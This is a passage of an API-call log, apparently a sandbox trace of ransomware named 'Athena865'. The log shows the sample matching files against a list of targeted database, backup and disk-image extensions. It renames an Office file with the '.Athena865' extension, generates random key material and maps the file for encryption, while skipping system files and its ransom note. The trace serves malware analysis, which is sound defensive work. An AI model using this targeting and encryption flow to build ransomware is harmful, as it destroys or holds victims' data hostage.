-1 [0140.761] lstrlenW (lpString="daschema") returned 8 [0140.761] lstrcmpiW (lpString1="LITY.VSL", lpString2="daschema") returned 1 [0140.761] lstrlenW (lpString="db-journal") returned 10 [0140.761] lstrcmpiW (lpString1="CILITY.VSL", lpString2="db-journal") returned -1 [0140.761] lstrlenW (lpString="db-shm") returned 6 [0140.761] lstrcmpiW (lpString1="TY.VSL", lpString2="db-shm") returned 1 [0140.761] lstrlenW (lpString="db-wal") returned 6 [0140.761] lstrcmpiW (lpString1="TY.VSL", lpString2="db-wal") returned 1 [0140.761] lstrlenW (lpString="dbc") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dbc") returned 1 [0140.761] lstrlenW (lpString="dbs") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dbs") returned 1 [0140.761] lstrlenW (lpString="dbt") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dbt") returned 1 [0140.761] lstrlenW (lpString="dbv") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dbv") returned 1 [0140.761] lstrlenW (lpString="dbx") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dbx") returned 1 [0140.761] lstrlenW (lpString="dcb") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dcb") returned 1 [0140.761] lstrlenW (lpString="dct") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dct") returned 1 [0140.761] lstrlenW (lpString="dcx") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="dcx") returned 1 [0140.761] lstrlenW (lpString="ddl") returned 3 [0140.761] lstrcmpiW (lpString1="VSL", lpString2="ddl") returned 1 [0140.762] lstrlenW (lpString="dlis") returned 4 [0140.762] lstrcmpiW (lpString1=".VSL", lpString2="dlis") returned -1 [0140.762] lstrlenW (lpString="dp1") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="dp1") returned 1 [0140.762] lstrlenW (lpString="dqy") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="dqy") returned 1 [0140.762] lstrlenW (lpString="dsk") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="dsk") returned 1 [0140.762] lstrlenW (lpString="dsn") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="dsn") returned 1 [0140.762] lstrlenW (lpString="dtsx") returned 4 [0140.762] lstrcmpiW (lpString1=".VSL", lpString2="dtsx") returned -1 [0140.762] lstrlenW (lpString="dxl") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="dxl") returned 1 [0140.762] lstrlenW (lpString="eco") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="eco") returned 1 [0140.762] lstrlenW (lpString="ecx") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="ecx") returned 1 [0140.762] lstrlenW (lpString="edb") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="edb") returned 1 [0140.762] lstrlenW (lpString="epim") returned 4 [0140.762] lstrcmpiW (lpString1=".VSL", lpString2="epim") returned -1 [0140.762] lstrlenW (lpString="fcd") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="fcd") returned 1 [0140.762] lstrlenW (lpString="fdb") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="fdb") returned 1 [0140.762] lstrlenW (lpString="fic") returned 3 [0140.762] lstrcmpiW (lpString1="VSL", lpString2="fic") returned 1 [0140.763] lstrlenW (lpString="flexolibrary") returned 12 [0140.763] lstrlenW (lpString="fm5") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fm5") returned 1 [0140.763] lstrlenW (lpString="fmp") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fmp") returned 1 [0140.763] lstrlenW (lpString="fmp12") returned 5 [0140.763] lstrcmpiW (lpString1="Y.VSL", lpString2="fmp12") returned 1 [0140.763] lstrlenW (lpString="fmpsl") returned 5 [0140.763] lstrcmpiW (lpString1="Y.VSL", lpString2="fmpsl") returned 1 [0140.763] lstrlenW (lpString="fol") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fol") returned 1 [0140.763] lstrlenW (lpString="fp3") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fp3") returned 1 [0140.763] lstrlenW (lpString="fp4") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fp4") returned 1 [0140.763] lstrlenW (lpString="fp5") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fp5") returned 1 [0140.763] lstrlenW (lpString="fp7") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fp7") returned 1 [0140.763] lstrlenW (lpString="fpt") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="fpt") returned 1 [0140.763] lstrlenW (lpString="frm") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="frm") returned 1 [0140.763] lstrlenW (lpString="gdb") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0140.763] lstrlenW (lpString="gdb") returned 3 [0140.763] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0140.763] lstrlenW (lpString="grdb") returned 4 [0140.763] lstrcmpiW (lpString1=".VSL", lpString2="grdb") returned -1 [0140.764] lstrlenW (lpString="gwi") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="gwi") returned 1 [0140.764] lstrlenW (lpString="hdb") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="hdb") returned 1 [0140.764] lstrlenW (lpString="his") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="his") returned 1 [0140.764] lstrlenW (lpString="ib") returned 2 [0140.764] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0140.764] lstrlenW (lpString="idb") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="idb") returned 1 [0140.764] lstrlenW (lpString="ihx") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="ihx") returned 1 [0140.764] lstrlenW (lpString="itdb") returned 4 [0140.764] lstrcmpiW (lpString1=".VSL", lpString2="itdb") returned -1 [0140.764] lstrlenW (lpString="itw") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="itw") returned 1 [0140.764] lstrlenW (lpString="jet") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="jet") returned 1 [0140.764] lstrlenW (lpString="jtx") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="jtx") returned 1 [0140.764] lstrlenW (lpString="kdb") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="kdb") returned 1 [0140.764] lstrlenW (lpString="kexi") returned 4 [0140.764] lstrcmpiW (lpString1=".VSL", lpString2="kexi") returned -1 [0140.764] lstrlenW (lpString="kexic") returned 5 [0140.764] lstrcmpiW (lpString1="Y.VSL", lpString2="kexic") returned 1 [0140.764] lstrlenW (lpString="kexis") returned 5 [0140.764] lstrcmpiW (lpString1="Y.VSL", lpString2="kexis") returned 1 [0140.764] lstrlenW (lpString="lgc") returned 3 [0140.764] lstrcmpiW (lpString1="VSL", lpString2="lgc") returned 1 [0140.765] lstrlenW (lpString="lwx") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="lwx") returned 1 [0140.765] lstrlenW (lpString="maf") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="maf") returned 1 [0140.765] lstrlenW (lpString="maq") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="maq") returned 1 [0140.765] lstrlenW (lpString="mar") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mar") returned 1 [0140.765] lstrlenW (lpString="marshal") returned 7 [0140.765] lstrcmpiW (lpString1="ITY.VSL", lpString2="marshal") returned -1 [0140.765] lstrlenW (lpString="mas") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mas") returned 1 [0140.765] lstrlenW (lpString="mav") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mav") returned 1 [0140.765] lstrlenW (lpString="maw") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="maw") returned 1 [0140.765] lstrlenW (lpString="mdbhtml") returned 7 [0140.765] lstrcmpiW (lpString1="ITY.VSL", lpString2="mdbhtml") returned -1 [0140.765] lstrlenW (lpString="mdn") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mdn") returned 1 [0140.765] lstrlenW (lpString="mdt") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mdt") returned 1 [0140.765] lstrlenW (lpString="mfd") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mfd") returned 1 [0140.765] lstrlenW (lpString="mpd") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mpd") returned 1 [0140.765] lstrlenW (lpString="mrg") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mrg") returned 1 [0140.765] lstrlenW (lpString="mud") returned 3 [0140.765] lstrcmpiW (lpString1="VSL", lpString2="mud") returned 1 [0140.765] lstrlenW (lpString="mwb") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="mwb") returned 1 [0140.766] lstrlenW (lpString="myd") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="myd") returned 1 [0140.766] lstrlenW (lpString="ndf") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="ndf") returned 1 [0140.766] lstrlenW (lpString="nnt") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="nnt") returned 1 [0140.766] lstrlenW (lpString="nrmlib") returned 6 [0140.766] lstrcmpiW (lpString1="TY.VSL", lpString2="nrmlib") returned 1 [0140.766] lstrlenW (lpString="ns2") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="ns2") returned 1 [0140.766] lstrlenW (lpString="ns3") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="ns3") returned 1 [0140.766] lstrlenW (lpString="ns4") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="ns4") returned 1 [0140.766] lstrlenW (lpString="nsf") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="nsf") returned 1 [0140.766] lstrlenW (lpString="nv") returned 2 [0140.766] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0140.766] lstrlenW (lpString="nv2") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="nv2") returned 1 [0140.766] lstrlenW (lpString="nwdb") returned 4 [0140.766] lstrcmpiW (lpString1=".VSL", lpString2="nwdb") returned -1 [0140.766] lstrlenW (lpString="nyf") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="nyf") returned 1 [0140.766] lstrlenW (lpString="odb") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0140.766] lstrlenW (lpString="odb") returned 3 [0140.766] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0140.767] lstrlenW (lpString="oqy") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="oqy") returned 1 [0140.767] lstrlenW (lpString="ora") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="ora") returned 1 [0140.767] lstrlenW (lpString="orx") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="orx") returned 1 [0140.767] lstrlenW (lpString="owc") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="owc") returned 1 [0140.767] lstrlenW (lpString="p96") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="p96") returned 1 [0140.767] lstrlenW (lpString="p97") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="p97") returned 1 [0140.767] lstrlenW (lpString="pan") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="pan") returned 1 [0140.767] lstrlenW (lpString="pdb") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="pdb") returned 1 [0140.767] lstrlenW (lpString="pdm") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="pdm") returned 1 [0140.767] lstrlenW (lpString="pnz") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="pnz") returned 1 [0140.767] lstrlenW (lpString="qry") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="qry") returned 1 [0140.767] lstrlenW (lpString="qvd") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="qvd") returned 1 [0140.767] lstrlenW (lpString="rbf") returned 3 [0140.767] lstrcmpiW (lpString1="VSL", lpString2="rbf") returned 1 [0140.767] lstrlenW (lpString="rctd") returned 4 [0140.767] lstrcmpiW (lpString1=".VSL", lpString2="rctd") returned -1 [0140.767] lstrlenW (lpString="rod") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="rod") returned 1 [0140.768] lstrlenW (lpString="rodx") returned 4 [0140.768] lstrcmpiW (lpString1=".VSL", lpString2="rodx") returned -1 [0140.768] lstrlenW (lpString="rpd") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="rpd") returned 1 [0140.768] lstrlenW (lpString="rsd") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="rsd") returned 1 [0140.768] lstrlenW (lpString="sas7bdat") returned 8 [0140.768] lstrcmpiW (lpString1="LITY.VSL", lpString2="sas7bdat") returned -1 [0140.768] lstrlenW (lpString="sbf") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="sbf") returned 1 [0140.768] lstrlenW (lpString="scx") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="scx") returned 1 [0140.768] lstrlenW (lpString="sdb") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="sdb") returned 1 [0140.768] lstrlenW (lpString="sdc") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="sdc") returned 1 [0140.768] lstrlenW (lpString="sdf") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="sdf") returned 1 [0140.768] lstrlenW (lpString="sis") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="sis") returned 1 [0140.768] lstrlenW (lpString="spq") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="spq") returned 1 [0140.768] lstrlenW (lpString="te") returned 2 [0140.768] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0140.768] lstrlenW (lpString="teacher") returned 7 [0140.768] lstrcmpiW (lpString1="ITY.VSL", lpString2="teacher") returned -1 [0140.768] lstrlenW (lpString="tmd") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="tmd") returned 1 [0140.768] lstrlenW (lpString="tps") returned 3 [0140.768] lstrcmpiW (lpString1="VSL", lpString2="tps") returned 1 [0140.769] lstrlenW (lpString="trc") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0140.769] lstrlenW (lpString="trc") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0140.769] lstrlenW (lpString="trm") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="trm") returned 1 [0140.769] lstrlenW (lpString="udb") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="udb") returned 1 [0140.769] lstrlenW (lpString="udl") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="udl") returned 1 [0140.769] lstrlenW (lpString="usr") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="usr") returned 1 [0140.769] lstrlenW (lpString="v12") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="v12") returned 1 [0140.769] lstrlenW (lpString="vis") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="vis") returned 1 [0140.769] lstrlenW (lpString="vpd") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="vpd") returned 1 [0140.769] lstrlenW (lpString="vvv") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="vvv") returned -1 [0140.769] lstrlenW (lpString="wdb") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="wdb") returned -1 [0140.769] lstrlenW (lpString="wmdb") returned 4 [0140.769] lstrcmpiW (lpString1=".VSL", lpString2="wmdb") returned -1 [0140.769] lstrlenW (lpString="wrk") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="wrk") returned -1 [0140.769] lstrlenW (lpString="xdb") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="xdb") returned -1 [0140.769] lstrlenW (lpString="xld") returned 3 [0140.769] lstrcmpiW (lpString1="VSL", lpString2="xld") returned -1 [0140.770] lstrlenW (lpString="xmlff") returned 5 [0140.770] lstrcmpiW (lpString1="Y.VSL", lpString2="xmlff") returned 1 [0140.770] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.Athena865") returned 70 [0140.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.athena865"), dwFlags=0x1) returned 1 [0140.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.773] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81768) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.773] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.774] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.774] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.774] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14270, lpName=0x0) returned 0x154 [0140.775] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14270) returned 0x100000 [0140.780] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.780] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.780] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.781] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.782] CloseHandle (hObject=0x154) returned 1 [0140.782] CloseHandle (hObject=0x17c) returned 1 [0140.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.783] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2=".") returned 1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="..") returned 1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="windows") returned -1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="bootmgr") returned 1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="temp") returned -1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="pagefile.sys") returned -1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="boot") returned 1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="ids.txt") returned -1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="ntuser.dat") returned -1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="perflogs") returned -1 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2="MSBuild") returned -1 [0140.783] lstrlenW (lpString="FLOCH.VRD") returned 9 [0140.783] lstrcpyW (in: lpString1=0x241e8a8, lpString2="FLOCH.VRD" | out: lpString1="FLOCH.VRD") returned="FLOCH.VRD" [0140.783] lstrlenW (lpString="FLOCH.VRD") returned 9 [0140.783] lstrlenW (lpString="Athena865") returned 9 [0140.783] lstrlenW (lpString=".dll") returned 4 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2=".dll") returned 1 [0140.783] lstrlenW (lpString=".lnk") returned 4 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2=".lnk") returned 1 [0140.783] lstrlenW (lpString=".ini") returned 4 [0140.783] lstrcmpiW (lpString1="FLOCH.VRD", lpString2=".ini") returned 1 [0140.784] lstrlenW (lpString=".sys") returned 4 [0140.784] lstrcmpiW (lpString1="FLOCH.VRD", lpString2=".sys") returned 1 [0140.784] lstrlenW (lpString="FLOCH.VRD") returned 9 [0140.784] lstrlenW (lpString="bak") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="bak") returned 1 [0140.784] lstrlenW (lpString="ba_") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="ba_") returned 1 [0140.784] lstrlenW (lpString="dbb") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="dbb") returned 1 [0140.784] lstrlenW (lpString="vmdk") returned 4 [0140.784] lstrcmpiW (lpString1=".VRD", lpString2="vmdk") returned -1 [0140.784] lstrlenW (lpString="rar") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="rar") returned 1 [0140.784] lstrlenW (lpString="zip") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="zip") returned -1 [0140.784] lstrlenW (lpString="tgz") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="tgz") returned 1 [0140.784] lstrlenW (lpString="vbox") returned 4 [0140.784] lstrcmpiW (lpString1=".VRD", lpString2="vbox") returned -1 [0140.784] lstrlenW (lpString="vdi") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="vdi") returned 1 [0140.784] lstrlenW (lpString="vhd") returned 3 [0140.784] lstrcmpiW (lpString1="VRD", lpString2="vhd") returned 1 [0140.784] lstrlenW (lpString="vhdx") returned 4 [0140.784] lstrcmpiW (lpString1=".VRD", lpString2="vhdx") returned -1 [0140.784] lstrlenW (lpString="avhd") returned 4 [0140.784] lstrcmpiW (lpString1=".VRD", lpString2="avhd") returned -1 [0140.784] lstrlenW (lpString="db") returned 2 [0140.785] lstrcmpiW (lpString1="RD", lpString2="db") returned 1 [0140.785] lstrlenW (lpString="db2") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="db2") returned 1 [0140.785] lstrlenW (lpString="db3") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="db3") returned 1 [0140.785] lstrlenW (lpString="dbf") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="dbf") returned 1 [0140.785] lstrlenW (lpString="mdf") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="mdf") returned 1 [0140.785] lstrlenW (lpString="mdb") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="mdb") returned 1 [0140.785] lstrlenW (lpString="sql") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="sql") returned 1 [0140.785] lstrlenW (lpString="sqlite") returned 6 [0140.785] lstrcmpiW (lpString1="CH.VRD", lpString2="sqlite") returned -1 [0140.785] lstrlenW (lpString="sqlite3") returned 7 [0140.785] lstrcmpiW (lpString1="OCH.VRD", lpString2="sqlite3") returned -1 [0140.785] lstrlenW (lpString="sqlitedb") returned 8 [0140.785] lstrcmpiW (lpString1="LOCH.VRD", lpString2="sqlitedb") returned -1 [0140.785] lstrlenW (lpString="xml") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="xml") returned -1 [0140.785] lstrlenW (lpString="$er") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="$er") returned 1 [0140.785] lstrlenW (lpString="4dd") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="4dd") returned 1 [0140.785] lstrlenW (lpString="4dl") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="4dl") returned 1 [0140.785] lstrlenW (lpString="^^^") returned 3 [0140.785] lstrcmpiW (lpString1="VRD", lpString2="^^^") returned 1 [0140.786] lstrlenW (lpString="abs") returned 3 [0140.786] lstrcmpiW (lpString1="VRD", lpString2="abs") returned 1 [0140.786] lstrlenW (lpString="abx") returned 3 [0140.786] lstrcmpiW (lpString1="VRD", lpString2="abx") returned 1 [0140.786] lstrlenW (lpString="accdb") returned 5 [0140.786] lstrcmpiW (lpString1="H.VRD", lpString2="accdb") returned 1 [0140.786] lstrlenW (lpString="accdc") returned 5 [0140.786] lstrcmpiW (lpString1="H.VRD", lpString2="accdc") returned 1 [0140.786] lstrlenW (lpString="accde") returned 5 [0140.786] lstrcmpiW (lpString1="H.VRD", lpString2="accde") returned 1 [0140.786] lstrlenW (lpString="accdr") returned 5 [0140.786] lstrcmpiW (lpString1="H.VRD", lpString2="accdr") returned 1 [0140.786] lstrlenW (lpString="accdt") returned 5 [0140.786] lstrcmpiW (lpString1="H.VRD", lpString2="accdt") returned 1 [0140.786] lstrlenW (lpString="accdw") returned 5 [0140.786] lstrcmpiW (lpString1="H.VRD", lpString2="accdw") returned 1 [0140.786] lstrlenW (lpString="accft") returned 5 [0140.786] lstrcmpiW (lpString1="H.VRD", lpString2="accft") returned 1 [0140.786] lstrlenW (lpString="adb") returned 3 [0140.786] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0140.786] lstrlenW (lpString="adb") returned 3 [0140.786] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0140.786] lstrlenW (lpString="ade") returned 3 [0140.786] lstrcmpiW (lpString1="VRD", lpString2="ade") returned 1 [0140.786] lstrlenW (lpString="adf") returned 3 [0140.786] lstrcmpiW (lpString1="VRD", lpString2="adf") returned 1 [0140.786] lstrlenW (lpString="adn") returned 3 [0140.786] lstrcmpiW (lpString1="VRD", lpString2="adn") returned 1 [0140.786] lstrlenW (lpString="adp") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="adp") returned 1 [0140.787] lstrlenW (lpString="alf") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="alf") returned 1 [0140.787] lstrlenW (lpString="ask") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="ask") returned 1 [0140.787] lstrlenW (lpString="btr") returned 3 [0140.787] 